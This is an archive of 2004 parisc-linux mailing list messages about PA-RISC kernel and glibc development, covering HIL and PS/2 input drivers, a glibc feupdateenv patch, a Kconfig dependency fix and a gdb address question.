  [<1013efa4>] mempool_alloc+0xac/0x1a0
  [<101617bc>] bio_alloc+0x3c/0x1a4
  [<10160e90>] submit_bh+0x94/0x1e0
  [<101610e8>] ll_rw_block+0x10c/0x148
  [<101a53bc>] journal_brelse_array+0x30/0x48
  [<101a5154>] journal_commit_transaction+0xf18/0x1150
  [<10125b1c>] call_console_drivers+0xd0/0x17c
  [<101a7958>] kjournald+0xc0/0x224
  [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

hth,
	Joel


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 15:28:23 +0000 (GMT)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403141509130.14547@sal.ucc.ie>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623264 6550 80.91.229.3 (22 Nov 2014 02:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Schulze <joey@infodrom.org>
Original-X-From: xam@cs.ucc.ie  Sun Mar 14 08:28:55 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9203A48D9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 08:28:54 -0700 (MST)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i2EFSN5a012818;
	Sun, 14 Mar 2004 15:28:23 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040314073706.GA28440@finlandia.infodrom.north.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 15:28:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21068

On Sun, 14 Mar 2004, Martin Schulze wrote:

> For what it's worth, these settings don't activate my keyboard,
> but... tadam...  the mouse is recognised, finally.  However, if
> I have to choose to use either keyboard or mouse, I'd choose the
> keyboard.
>
> CONFIG_INPUT_KEYBOARD=y
> CONFIG_KEYBOARD_ATKBD=y
> # CONFIG_KEYBOARD_SUNKBD is not set
> # CONFIG_KEYBOARD_XTKBD is not set
> # CONFIG_KEYBOARD_NEWTON is not set
> CONFIG_KEYBOARD_HIL=y

Why do you include HIL keyboard support?

> CONFIG_INPUT_MOUSE=y
> CONFIG_MOUSE_PS2=y
> CONFIG_MOUSE_SERIAL=y

do you need serial mouse support?

> CONFIG_MOUSE_HIL=y

and why do you include HIL mouse support?

[...]

> Any idea how to get the keyboard detected again?
> (This is a 725/100)

I don't know the 725, but from what I understand it uses (GSC) PS/2, so you
attach keyboard and mouse directly, without any converters. Is that correct?

If this is the cause, get rid of all HIL drivers and use PS/2 exclusively.
I think using a combination of HIL and PS/2 drivers might cause some
sort of driver confusion in your case.

> If it helps to provide more information, please let me know and I'll
> dig them out.
>
>  	  Say Y here if you have a PS/2 mouse connected to your system. This
>  	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
>  	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
> -	  compatible.
> +	  compatible. This also includes a PS/2 mouse connected to your HIL
> +	  hub on PA-RISC.

I'm confused here!

AFAIK if you are using HIL, you ONLY have to use the HIL keyboard/mouse
drivers, PS/2 is a different thing and is not involved at all.
(I hope I don't say anything stupid here).

So far I thought that you cannot attach a PS/2 mouse to a HIL adapter,
you can only attach HIL devices ... (at least this is the case for my 730)


Greetings,
 Max


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sun, 14 Mar 2004 16:21:37 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <40548691.7090300@tiscali.be>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be> <20040306225740.GH963@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623265 6552 80.91.229.3 (22 Nov 2014 02:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 09:20:15 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AD1348BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 09:20:15 -0700 (MST)
Original-Received: from [62.235.122.168] (port=33273 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2YLV-0002nn-N8; Sun, 14 Mar 2004 17:20:13 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <20040306225740.GH963@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 16:20:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21069

Carlos,

Carlos O'Donell wrote:
> On Sat, Mar 06, 2004 at 10:14:12PM +0000, Joel Soete wrote:
> 
>>Taken into account of your relevant remarks here is my new proposal:
>>=========><=========
>>--- sysdeps/hppa/fpu/feupdateenv.c.orig 2004-03-06 21:18:40.789605000 +0100
>>+++ sysdeps/hppa/fpu/feupdateenv.c      2004-03-06 21:22:21.839605000 +0100
>>@@ -23,15 +23,16 @@
>> int
>> feupdateenv (const fenv_t *envp)
>> {
>>-  unsigned int sw[2];
>>+  struct fenv_t saved_env, new_env;
>>
>>   /* Get the current exception status. */
>>-  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
>>-  sw[0] &= FE_ALL_EXCEPT;
>>-  envp->__status_word = envp->__status_word | sw[0];
> 
> 
> Yeah, this is bad, because 'envp' is const, and we shouldn't be changing
> its value.
> 
> 
>>+  fegetenv(&saved_env);
>>+  saved_env.__status_word &= FE_ALL_EXCEPT;
>>+  new_env.__status_word = envp->__status_word | saved_env.__status_word;
>>+  for (i = 0; i < 7; i++) new_env.__exception[i] = envp->__exception[i];
> 
> 
> Why do you use "new_env" at all? Just use saved_env. Then you don't have
> to have a silly loop to copy the exceptions, they'll already be there.
> Then you can call fesetenv(&saved_env);
>  
> 
>>   /* Install new environment.  */
>>-  fesetenv (envp);
>>+  fesetenv (&new_env);
>>
>>   /* Success.  */
>>   return 0;
>>=========><=========
> 
Taken into account of your remarks here is the final patch:
--- glibc-2.3.3-20040314/sysdeps/hppa/fpu/feupdateenv.c.orig    2003-12-18 04:57:50.000000000 +0100
+++ glibc-2.3.3-20040314/sysdeps/hppa/fpu/feupdateenv.c 2004-03-14 12:06:13.286349000 +0100
@@ -23,15 +23,15 @@
  int
  feupdateenv (const fenv_t *envp)
  {
-  unsigned int sw[2];
+  fenv_t tmp_env;

    /* Get the current exception status. */
-  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
-  sw[0] &= FE_ALL_EXCEPT;
-  envp->__status_word = envp->__status_word | sw[0];
+  fegetenv(&tmp_env);
+  tmp_env.__status_word &= FE_ALL_EXCEPT;
+  tmp_env.__status_word |= envp->__status_word;

    /* Install new environment.  */
-  fesetenv (envp);
+  fesetenv (&tmp_env);

    /* Success.  */
    return 0;
=========><=========

it compiles well with gcc-3.3.

I hope it will not break anything :)

Joel


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 19:12:56 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <20040314181256.GA9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<Pine.LNX.4.58.0403141509130.14547@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623265 6559 80.91.229.3 (22 Nov 2014 02:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: joey@infodrom.org  Sun Mar 14 11:17:41 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44CF348C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 11:17:41 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 38126366B68; Sun, 14 Mar 2004 19:17:03 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2a6a-000orTC@finlandia.Infodrom.North.DE>
	for xam@cs.ucc.ie; Sun, 14 Mar 2004 19:12:56 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403141509130.14547@sal.ucc.ie>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 18:17:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21070

M. Grabert wrote:
> > For what it's worth, these settings don't activate my keyboard,
> > but... tadam...  the mouse is recognised, finally.  However, if
> > I have to choose to use either keyboard or mouse, I'd choose the
> > keyboard.
> >
> > CONFIG_INPUT_KEYBOARD=y
> > CONFIG_KEYBOARD_ATKBD=y
> > # CONFIG_KEYBOARD_SUNKBD is not set
> > # CONFIG_KEYBOARD_XTKBD is not set
> > # CONFIG_KEYBOARD_NEWTON is not set
> > CONFIG_KEYBOARD_HIL=y
> 
> Why do you include HIL keyboard support?

Because the keyboad is connected to a HIL hub and it's also a
reminiscent of the time before I learned that the keyboard and mouse
are not handled entirely separate anymore.  I still have to strip some
config options from the configuration.

> > CONFIG_INPUT_MOUSE=y
> > CONFIG_MOUSE_PS2=y
> > CONFIG_MOUSE_SERIAL=y
> 
> do you need serial mouse support?

Well, at one time I tried to fix the mouse problem by connecting a
serial mouse to ttyS0/ttyS1 but it didn't work either, even though a
getty on that port worked and I could log in, hence the port works at
least and is supported in the kernel.

> > CONFIG_MOUSE_HIL=y
> 
> and why do you include HIL mouse support?

Same as above, because the mouse is connected to a HIL hub and it's a
reminiscent from the time before I learned that the keyboard and mouse
are not handled entirely separate anymore for parisc.

> > Any idea how to get the keyboard detected again?
> > (This is a 725/100)
> 
> I don't know the 725, but from what I understand it uses (GSC) PS/2, so you
> attach keyboard and mouse directly, without any converters. Is that correct?

No it isn't.  That's the case for 712, not this one.  There's a HIL
hub where I can connect one keyboard, one mouse and another HIL hub.
The case doesn't have any PS/2 socket.

> If this is the cause, get rid of all HIL drivers and use PS/2 exclusively.
> I think using a combination of HIL and PS/2 drivers might cause some
> sort of driver confusion in your case.

Might well be.  I'm still working on stripping the stuff and testing
various combinations.

> > If it helps to provide more information, please let me know and I'll
> > dig them out.
> >
> >  	  Say Y here if you have a PS/2 mouse connected to your system. This
> >  	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
> >  	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
> > -	  compatible.
> > +	  compatible. This also includes a PS/2 mouse connected to your HIL
> > +	  hub on PA-RISC.
> 
> I'm confused here!
>
> AFAIK if you are using HIL, you ONLY have to use the HIL keyboard/mouse
> drivers, PS/2 is a different thing and is not involved at all.
> (I hope I don't say anything stupid here).

Aha.  I thought it was different.  Maybe I misread Helges mail.

> So far I thought that you cannot attach a PS/2 mouse to a HIL adapter,
> you can only attach HIL devices ... (at least this is the case for my 730)

Well, at least physically this is possible.  I haven't tried to use
that combination, though, since I have the original mouse and
keyboard as well.  However, I could give it a try once I find a
working config combination.

-- 
Life is too short to run proprietary software.  -- Bdale Garbee

Please always Cc to me when replying to me on the lists.


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sun, 14 Mar 2004 14:26:47 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20040314192646.GD24266@baldric.uwo.ca>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be> <20040306225740.GH963@baldric.uwo.ca>
	<40548691.7090300@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623265 6560 80.91.229.3 (22 Nov 2014 02:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sun Mar 14 12:29:21 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFB2048BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:29:20 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B2bG3-00070T-00; Sun, 14 Mar 2004 14:26:47 -0500
Content-Disposition: inline
In-Reply-To: <40548691.7090300@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:29:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21071

On Sun, Mar 14, 2004 at 04:21:37PM +0000, Joel Soete wrote:
> it compiles well with gcc-3.3.
> I hope it will not break anything :)

Hope?? What does the testsuite for glibc say?

c.


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Sun, 14 Mar 2004 14:32:37 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20040314193237.GE24266@baldric.uwo.ca>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
	<20040312212012.GS24266@baldric.uwo.ca>
	<40535A0A.4020209@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623266 6561 80.91.229.3 (22 Nov 2014 02:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sun Mar 14 12:35:04 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79B4048BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:35:04 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B2bLi-00071g-00; Sun, 14 Mar 2004 14:32:38 -0500
Content-Disposition: inline
In-Reply-To: <40535A0A.4020209@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:35:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21072

> No pb if gdb don't segv (but iirc that only appened with gcc-3.5) and if 
> lucky I could also garb a bt :).
> 
> Btw in previous test, I noticed that IAOQ was for instance =0x41007293 when 
> gdb shows me the actual address of the crash at '0x41007293 - 3' and I find 
> well the corresponding code at  7290 in an 'objdump -d'. Do you know why 
> this diff of 3?

Instructions can only start at addresses that are modulo 32-bits, gdb is
returning the start address of the insn that executed. While IAOQ is
showing that the insn has finished (e.g. pointing at the last byte 0 1 2
3).

c.



From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compile problem with 2.4.6-pa2
Date: Sun, 14 Mar 2004 20:39:15 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <200403142039.15418.deller@gmx.de>
References: <20040313153501.GK9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623266 6567 80.91.229.3 (22 Nov 2014 02:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:46 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Mar 14 12:39:18 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id F31F148BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:39:17 -0700 (MST)
Original-Received: (qmail 3436 invoked by uid 65534); 14 Mar 2004 19:39:16 -0000
Original-Received: from pD90407BE.dip.t-dialin.net (EHLO p100) (217.4.7.190)
	by mail.gmx.net (mp009) with SMTP; 14 Mar 2004 20:39:16 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040313153501.GK9104@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:39:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21073

Hi Martin,

Patch applied.

Thanks,
Helge

On Saturday 13 March 2004 16:35, Martin Schulze wrote:
> Hi,
> 
> there seems to be a dependency missing in Linux 2.6.4-pa2.
> 
> When I try to compile it and have STI_CONSOLE set to 'y', hence
> sticore.c gets compiled, but accidently not setting
> FRAMEBUFFER_CONSOLE to 'y' as well, kernel build ends in a link error
> due to undefined symbols: find_font() called from sti_select_fbfont()
> and another one I forgot to secure.
> 
> Investigation showed that the source of the problem is in
> drivers/video/console/sticore.c:
> 
> koulutie!joey(pts/1):~/linux-2.6.4-pa2/drivers> find -name '*.c'|xargs grep sti_select_fbfont
> ./video/console/sticore.c:sti_select_fbfont( struct sti_cooked_rom *cooked_rom, char *fbfont_name )
> ./video/console/sticore.c:sti_select_fbfont(struct sti_cooked_rom *cooked_rom, char *fbfont_name)
> ./video/console/sticore.c:      if ((font = sti_select_fbfont(rom, font_name[index])))
> 
> And the missing function is defined in drivers/video/console/fonts.c:
> 
> koulutie!joey(pts/1):~/linux-2.6.4-pa2/drivers> find -name '*.c'|xargs grep find_font
> [..]
> ./video/console/fonts.c: *      find_font - find a font
> ./video/console/fonts.c:struct font_desc *find_font(char *name)
> ./video/console/fonts.c:EXPORT_SYMBOL(find_font);
> [..]
> 
> >From reading the help text of STI_CONSOLE, FRAMEBUFFER_CONSOLE and
> FONTS I'm not sure STI_CONSOLE should depend on FONTS, though, but it
> seems to use a function from fonts.c, which should be linked into
> built-in.o
> 
> Adding it fixed the problem, though.
> 
> --- linux-2.6.4-pa2/drivers/video/console/Kconfig.orig	Sat Mar 13 16:17:27 2004
> +++ linux-2.6.4-pa2/drivers/video/console/Kconfig	Sat Mar 13 16:23:30 2004
> @@ -67,7 +67,7 @@
>  #  bool 'IODC console' CONFIG_IODC_CONSOLE
>  config STI_CONSOLE
>          tristate "STI text console" 
> -        depends on PARISC
> +        depends on PARISC && FRAMEBUFFER_CONSOLE
>          default y
>          help
>            The STI console is the builtin display/keyboard on HP-PARISC
> 
> Regards,
> 
> 	Joey
> 
> -- 
> All language designers are arrogant.  Goes with the territory...
> 	-- Larry Wall
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: William Waites <parisc@lists.styx.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anyone still caring about 2.4?
Date: Sun, 14 Mar 2004 14:43:22 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20040314194322.GM1130@parc.styx.org>
References: <20040310152904.GV2148@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623266 6569 80.91.229.3 (22 Nov 2014 02:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: ww@parc.styx.org  Sun Mar 14 12:41:16 2004
Return-Path: <ww@parc.styx.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parc.styx.org (PARC.STYX.ORG [209.161.199.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57BC248BA
	for <parisc-linux@parisc-linux.org>;
	Sun, 14 Mar 2004 12:41:16 -0700 (MST)
Original-Received: by parc.styx.org (Postfix, from userid 1000)
	id B05C474; Sun, 14 Mar 2004 14:43:22 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20040310152904.GV2148@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:41:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21074

On Wed, Mar 10, 2004 at 03:29:04PM +0000, Matthew Wilcox wrote:
> 
> I was just looking at a 2.4 problem for lamont so I went back to a 2.4
> tree I had lying around.  I found this diff:

When running a very memory intensive application
(Video Orbits), I noticed some strange behaviour
-- the cursor for example being in the wrong place
in a text window running emacs, and other wierd
not-strictly-repeatable things -- as the available
memory became very low. Applying this patch seems
to help.

William
-- 
/~\  The ASCII Ribbon Campaign
